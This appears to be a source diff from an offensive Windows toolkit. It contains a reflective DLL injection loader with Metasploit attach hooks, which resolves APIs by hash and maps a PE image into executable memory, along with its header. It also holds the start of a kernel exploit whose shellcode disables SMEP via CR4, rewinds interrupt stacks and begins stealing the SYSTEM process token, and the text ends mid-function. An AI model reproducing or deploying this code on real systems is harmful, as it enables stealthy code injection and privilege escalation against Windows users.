uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the module name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
#ifdef ENABLE_STOPPAGING
usCounter++;
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
usCounter++;
#endif
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH
|| dwHashValue == GETPROCADDRESS_HASH
|| dwHashValue == VIRTUALALLOC_HASH
#ifdef ENABLE_STOPPAGING
|| dwHashValue == VIRTUALLOCK_HASH
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
|| dwHashValue == OUTPUTDEBUG_HASH
#endif
)
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#ifdef ENABLE_STOPPAGING
else if( dwHashValue == VIRTUALLOCK_HASH )
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
else if( dwHashValue == OUTPUTDEBUG_HASH )
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
#endif
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if( pLoadLibraryA
&& pGetProcAddress
&& pVirtualAlloc
#ifdef ENABLE_STOPPAGING
&& pVirtualLock
#endif
&& pNtFlushInstructionCache
#ifdef ENABLE_OUTPUTDEBUGSTRING
&& pOutputDebug
#endif
)
break;
// get the next entry
uiValueA = DEREF( uiValueA );
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
#ifdef ENABLE_STOPPAGING
// prevent our image from being swapped to the pagefile
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
#endif
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume there is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
OUTPUTDBG("Loading library: ");
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
OUTPUTDBG("\n");
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
if ( !uiLibraryAddress )
{
OUTPUTDBG("Loading library FAILED\n");
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
continue;
}
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
OUTPUTDBG("Resolving function: ");
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
OUTPUTDBG("\n");
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flip the words to get the instruction as expected
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanity chack we are processing a MOV instruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)( dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
OUTPUTDBG("Flushing the instruction cache");
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket );
return TRUE;
}
BOOL MetasploitDllDetach( DWORD dwExitFunc )
{
switch( dwExitFunc )
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter( NULL );
break;
case EXITFUNC_THREAD:
ExitThread( 0 );
break;
case EXITFUNC_PROCESS:
ExitProcess( 0 );
break;
default:
break;
}
return TRUE;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
break;
case DLL_METASPLOIT_DETACH:
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
break;
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
+223
View File
@@ -0,0 +1,223 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
// Enable this define to turn on OutputDebugString support
//#define ENABLE_OUTPUTDEBUGSTRING 1
// Enable this define to turn on locking of memory to prevent paging
#define ENABLE_STOPPAGING 1
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#ifdef ENABLE_STOPPAGING
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
#define VIRTUALLOCK_HASH 0x0EF632F2
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
#define OUTPUTDEBUG_HASH 0x470D22BC
#endif
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD _hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
+318
View File
@@ -0,0 +1,318 @@
#include <iostream>
#include <Windows.h>
#include <intrin.h>
#include "KernelRoutines.h"
#include "LockedMemory.h"
#include "Native.h"
#include "Error.h"
#include "Exploit.h"
struct ISR_STACK
{
uint64_t RIP;
uint64_t CS;
uint64_t EF;
uint64_t RSP;
};
// Doensn't really change
static const uint32_t Offset_Pcr__Self = 0x18;
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
static const uint32_t Offset_Pcr__Prcb = 0x180;
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
static const uint32_t Offset_Context__XMM13 = 0x270;
static const uint32_t MxCsr__DefVal = 0x1F80;
static const uint32_t Offset_Prcb__RspBase = 0x28;
static const uint32_t Offset_KThread__InitialStack = 0x28;
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
// Requires patterns
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
NON_PAGED_DATA uint64_t ContextBackup[10];
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void(*)(uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup);
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
NON_PAGED_CODE void KernelShellcode()
{
__writedr(7, 0);
uint64_t Cr4Old = __readgsqword(Offset_Pcr__Prcb + Offset_Prcb__Cr4);
__writecr4(Cr4Old & ~(1 << 20));
__swapgs();
// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
((ISR_STACK*)IsrStackIterator)->CS == 0x10 &&
((ISR_STACK*)IsrStackIterator)->RIP > 0x7FFFFFFEFFFF)
{
__rollback_isr(IsrStackIterator);
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if (((ISR_STACK*)(IsrStackIterator + 0x30))->CS == 0x33)
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = (PVOID)k_ExAllocatePool(0ull, (uint64_t)sizeof(IRetToVulnStub));
Np_memcpy(KStub, IRetToVulnStub, sizeof(IRetToVulnStub));
// ------ KERNEL CODE ------
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken(CurrentProcess);
uint64_t SystemToken = k_PsReferencePrimaryToken(SystemProcess);
